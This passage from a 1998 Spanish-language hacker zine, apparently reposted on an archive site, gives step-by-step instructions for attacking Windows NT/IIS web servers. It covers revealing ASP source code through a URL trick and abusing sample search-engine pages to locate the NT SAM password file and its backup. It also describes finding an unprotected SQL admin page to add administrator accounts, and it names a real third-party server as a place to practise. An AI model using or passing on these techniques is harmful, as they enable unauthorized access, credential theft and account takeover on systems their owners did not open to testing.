pack 3.

Viendo el contenido de un ASP:

Por ejemplo la direccion normal es www.victima.com/pagina.asp para ver el
codigo usas http://www.victima.com/pagina.asp.
^El punto hace que el codigo
sea visible en el navegador.

El problema es que esta parchado en sistemas corriendo el service pack 2 y 3

El exploit de los motores de busqueda:

Este es el que mejor funciona en casi todos los servidores que lo he probado.

Solo tienes que poner:

http://www.uyweb.com.uy/samples/search/queryhit.htm
Este servidor esta muu bien pa' practicar un rato, asi que ya sabes,
como este ay un (#!)&#)$)(($ de servidores.

Si por ejemplo sale una pagina que parece un motor de busqueda el exploit
"podria" funcionar y digo "podria" porque talvez puedas accesar a la pagina
pero al hacer una busqueda no tienes privilegios asi que esto no serviria de
nada, pero si puedes ejecutar la busqueda preparate para hacer esto:

Puedes buscar por cualquier archivo en el servidor, por ejemplo.

\\WINNT\SYSTEM32\CONFIG\SAM --> Que es el archivo de password del NT
\\WINNT\REPAIR --> Que es el respaldo del archivo de password del NT

O puedes buscar especificamente por un tipo de archivo usando esto:

#filename=*.asp --> Para que busque todos los archivos con terminacion
asp, haz mas pruebas con eso busca por ejecutables, zippeados, cabs
en algunos servidores puedes bajar buen software.

Tambien puedes buscar por *.htx, *.idq, *.log, *.txt, *.scp, *.doc, etc.
talvez contengan alguna informacion importante.

Estuve jugando un rato con eso, y encontre que si ese servidor tiene
instalado el Back Office para Windows NT que es para administrar bases de
datos SQL puedes buscar por un archivo que se llama anusqllogin.asp

Por si no se te prendio el foco de como buscar el archivo solo pon esto:

#filename=anusqllogin.asp

Y si lo puedes accesar puedes agregar administradores con el nombre y
passwd que quieras };-> la mayoria de las ocasiones este archivo no tenia
restricciones y lo pude accesar y ejecutar.

Tambien puedes probar este otro motor de busqueda:

http://www.victima.com/scripts/samples/search/webhits.exe

Pero la mayoria de las veces que lo he probado falla, pero vale la pena
intentarlo asi que pruebalo de todas maneras.

Azumlord@hotmail.com

`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'
Esto es todo amigos. Espero que la hayais encontrado interesante y que sigais
colaborando con vuestros articulos y sugerencias.

Pronto volveremos con mas cosas ....

RareGaZz '98
~~~~~~~~~~~~

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT